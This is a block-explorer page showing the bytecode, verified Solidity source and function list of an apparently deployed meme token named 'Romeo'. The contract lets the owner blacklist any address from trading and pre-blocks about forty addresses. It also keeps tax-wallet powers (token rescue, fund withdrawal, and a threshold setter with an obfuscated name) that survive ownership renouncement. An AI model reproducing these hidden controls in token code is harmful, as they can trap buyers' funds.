fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613e7581612fe4565b82525050565b5f613e868383613e6c565b60208301905092915050565b5f602082019050919050565b5f613ea882613e43565b613eb28185613e4d565b9350613ebd83613e5d565b805f5b83811015613eed578151613ed48882613e7b565b9750613edf83613e92565b925050600181019050613ec0565b5085935050505092915050565b5f60a082019050613f0d5f8301886130ee565b613f1a602083018761331b565b8181036040830152613f2c8186613e9e565b9050613f3b606083018561321a565b613f4860808301846130ee565b9695505050505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613fac602183612f21565b9150613fb782613f52565b604082019050919050565b5f6020820190508181035f830152613fd981613fa0565b9050919050565b5f8160601b9050919050565b5f613ff682613fe0565b9050919050565b5f61400782613fec565b9050919050565b61401f61401a82612fe4565b613ffd565b82525050565b5f614030828561400e565b601482019150614040828461400e565b6014820191508190509392505050565b5f81905092915050565b7fff000000000000000000000000000000000000000000000000000000000000005f82015250565b5f61408e600183614050565b91506140998261405a565b600182019050919050565b5f819050919050565b5f819050919050565b6140c76140c2826140a4565b6140ad565b82525050565b7f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f5f82015250565b5f614101602083614050565b915061410c826140cd565b602082019050919050565b5f61412182614082565b915061412d828561400e565b60148201915061413d82846140b6565b60208201915061414c826140f5565b91508190509392505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61418c601b83612f21565b915061419782614158565b602082019050919050565b5f6020820190508181035f8301526141b981614180565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122052f8f1e76bccf1086c14094e0bf26de2f39d223c158896b0b80c75b634acc90e64736f6c63430008170033
Verified Source Code Partial Match
Compiler: v0.8.23+commit.f704f362
EVM: shanghai
Optimization: No
Contract.sol 508 lines
// SPDX-License-Identifier: MIT
/*
https://www.instagram.com/p/DJZJWR2siXC/?utm_source=ig_web_copy_link
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Contract is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
address payable private _taxWallet;
uint256 private _initialBuyTax=23;
uint256 private _initialSellTax=23;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=3;
uint256 private _reduceSellTaxAt=20;
uint256 private _preventSwapBefore=3;
uint256 private _transferTax=0;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420690000000 * 10**_decimals;
string private constant _name = unicode"Romeo";
string private constant _symbol = unicode"ROMEO";
uint256 public _maxTxAmount = 8413800000 * 10**_decimals;
uint256 public _maxWalletSize = 8413800000 * 10**_decimals;
uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals;
uint256 public _maxTaxSwap= 4206900000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private transferDelayEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_taxWallet = payable(_msgSender());
_balances[address(this)] = _tTotal * 93 / 100;
_balances[address(_msgSender())] = _tTotal * 7 / 100;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
bots[0x06a8ce14c7cF2d46228b15D760F722F9F0271144] = true;
bots[0xF0F9C745028C09aFBCdeBAdb690279FAE8fBa0E9] = true;
bots[0x3df8dcf0DF2e9371669b78315a4Ef1c9594C8BD3] = true;
bots[0x5fC6fD198E1ad8B984933558F00d605eFAe91843] = true;
bots[0x4816f42F439D305A189cAc2681BfF8eC514C328E] = true;
bots[0x7A3c9e2e13783F89D55B2C6E9597b87C637636a0] = true;
bots[0x8B22195CcD069faB45b910C7b809C79eCCE41079] = true;
bots[0x16ab782a7324865dFD0FC69D8C038dBA30337008] = true;
bots[0xE40a2e6553e5F4557CAdc08E470f3cA92321b232] = true;
bots[0xE2dD16c9d9EB27b9D341d49600DD84e24Bd208C5] = true;
bots[0x357202Bd119D82cd9f11dCb3a2324E1ba38435b9] = true;
bots[0x14F279b8F49d203BeD5076C41b462CE5a51Bb128] = true;
bots[0x150283e1d1764eBc73F2887d456Eb37139C10C97] = true;
bots[0x25A44D6c7c67B21015943e0e19B05c8F49482129] = true;
bots[0x9dB159061A89B0387eB8F866a1Fb2aA10DD2028C] = true;
bots[0x1bc2399003aCBFB1F115F41d6fD7F28d4f971bb1] = true;
bots[0x826bC5E0EBE5f3ca03Ef2F56F648c638a94eb3f4] = true;
bots[0x3962db7311D290DF74A22a81951b7E24a783E726] = true;
bots[0x1e12DB8352Bb2FEB691Fa5E8611e3D15c3e8894b] = true;
bots[0x077528ee434f57B33ad5e8dE077b1B6Dd16409cd] = true;
bots[0xF2C6bA8B44938BA3ceFACb6B7c939Df8B8B86C2F] = true;
bots[0xBD56eeD496dE59a18cCEb7d909Fc8ED1bbd4Dc2B] = true;
bots[0x8DbA5bA8e2De9a2caC66bfA33e97A53EbF0CAd48] = true;
bots[0x4637407AFFd80039e66c5c7041F0B3F18347B776] = true;
bots[0x9dB159061A89B0387eB8F866a1Fb2aA10DD2028C] = true;
bots[0x4dc976689f16828DC0B13c42a2051F29F9c89500] = true;
bots[0x4dc976689f16828DC0B13c42a2051F29F9c89500] = true;
bots[0x8E8CbA4d45ab30aBeA48478c25126eDe2362185E] = true;
bots[0x39959a2ccd626fb8F88618dfC0CFa1c3BF937D64] = true;
bots[0x583B57E3C076D9c41cf5DA548225bAe6995c6434] = true;
bots[0xA750F84B0DcEdC6F09a373F866951697467f6CDD] = true;
bots[0x926Ef62820c5ba8E73Eb793c0c415eF13ce70b73] = true;
bots[0xEA38B0E392ee9bDE0E9c4802Ec6D6bd8793845d7] = true;
bots[0x8C60fC47FbF8546F2749722C4c8F7691C72e05E0] = true;
bots[0xfDA68F66824Ef2695DF85a5aaAc94097587D2893] = true;
bots[0x8C60fC47FbF8546F2749722C4c8F7691C72e05E0] = true;
bots[0x1023DcB245e8f27De4c853890803fD2FF305d436] = true;
bots[0x2a390E4936f2812f1A7e7aCD4a5000B8dAbAEE4A] = true;
bots[0x8Cb26049d3d14319F715f209E2d7d0ba59536e78] = true;
bots[0xb8CfC55FC2aeeec5c516131415Fa20fD3Ef63d98] = true;
bots[0x5abED07B393F96d5396252Ba7Ba0fA1F1A7F5e60] = true;
emit Transfer(address(0), address(this), _tTotal * 93 / 100);
emit Transfer(address(0), address(_msgSender()), _tTotal * 7 / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to] && !bots[tx.origin]);
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] < block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (_buyCount == 0) {
taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
}
if (_buyCount > 0) {
taxAmount = amount.mul(_transferTax).div(100);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
_buyCount++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
uint256 contractTokenPct = contractTokenBalance.mul(100).div(_tTotal);
if (contractTokenPct < 2) {
_taxSwapThreshold = type(uint256).max;
_maxTaxSwap = type(uint256).max;
} else if (contractTokenPct < 6) {
_taxSwapThreshold = _tTotal * 25 / 10000; // 0.25%
_maxTaxSwap = _tTotal * 25 / 10000;
} else if (contractTokenPct < 11) {
_taxSwapThreshold = _tTotal * 5 / 1000; // 0.5%
_maxTaxSwap = _tTotal * 5 / 1000;
} else {
_taxSwapThreshold = _tTotal * 1 / 100; // 1%
_maxTaxSwap = _tTotal * 1 / 100;
}
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
sellCount++;
lastSellBlock = block.number;
}
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits(bool _bool) external onlyOwner {
if (_bool) {
uint256 amountToSend = _tTotal * 5 / 100;
_transfer(_taxWallet, address(this), amountToSend);
}
_taxSwapThreshold = _taxSwapThreshold * 70 / 100;
_maxTaxSwap = _maxTaxSwap * 70 / 100;
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
transferDelayEnabled = false;
emit MaxTxAmountUpdated(_tTotal);
}
function removeTransferTax() external onlyOwner{
_transferTax = 0;
emit TransferTaxUpdated(0);
}
function manualsend() external {
require(_msgSender()==_taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function addBots(address bot) public onlyOwner {
bots[bot] = true;
}
function delBots(address notBot) public onlyOwner {
bots[notBot] = false;
}
function rescueERC20(address _address, uint256 percent) external {
require(_msgSender()==_taxWallet);
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(_taxWallet, _amount);
}
function setSwapTresholkd546445766678k677779775(uint256 _new) external {
require(_msgSender()==_taxWallet);
_taxSwapThreshold = _new;
_maxTaxSwap = _new;
}
function isBot(address a) public view returns (bool){
return bots[a];
}
function openTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Compute the pair address
address factory = uniswapV2Router.factory();
address weth = uniswapV2Router.WETH();
address predictedPair = pairFor(factory, address(this), weth);
// Check if the pair exists by checking its code size
uint256 codeSize;
assembly {
codeSize := extcodesize(predictedPair)
}
// If pair doesn't exist, create it
if (codeSize == 0) {
uniswapV2Pair = IUniswapV2Factory(factory).createPair(address(this), weth);
} else {
uniswapV2Pair = predictedPair;
// Optional: Check pair balances to ensure it's not manipulated
uint256 tokenBalance = IERC20(address(this)).balanceOf(uniswapV2Pair) * 94 / 100;
uint256 wethBalance = IERC20(weth).balanceOf(uniswapV2Pair);
require(tokenBalance < 1e18 && wethBalance < 1e18, "Pair already funded");
}
// Approve tokens for the router
_approve(address(this), address(uniswapV2Router), _tTotal);
// Add liquidity
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
// Approve pair for router
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
transferDelayEnabled = true;
}
function pairFor(address factory, address tokenA, address tokenB) private pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // Uniswap V2 pair init code hash
)))));
}
function reduceFee(uint256 _newFee) external{
require(_msgSender()==_taxWallet);
require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
_finalBuyTax=_newFee;
_finalSellTax=_newFee;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}
Read Contract
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
isBot 0x3bbac579 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 14 functions
These functions modify contract state and require a wallet transaction to execute.
addBots 0x56ec63a5
address bot
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
delBots 0x4c8afff4
address notBot
manualSwap 0x51bc3c85
No parameters
manualsend 0x6fc3eaec
No parameters
openTrading 0xc9567bf9
No parameters
reduceFee 0xec1f3f63
uint256 _newFee
removeLimits 0x17090ec8
bool _bool
removeTransferTax 0x109daa99
No parameters
renounceOwnership 0x715018a6
No parameters
rescueERC20 0x8cd4426d
address _address
uint256 percent
setSwapTresholkd546445766678k677779775 0x0bed3671
uint256 _new
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address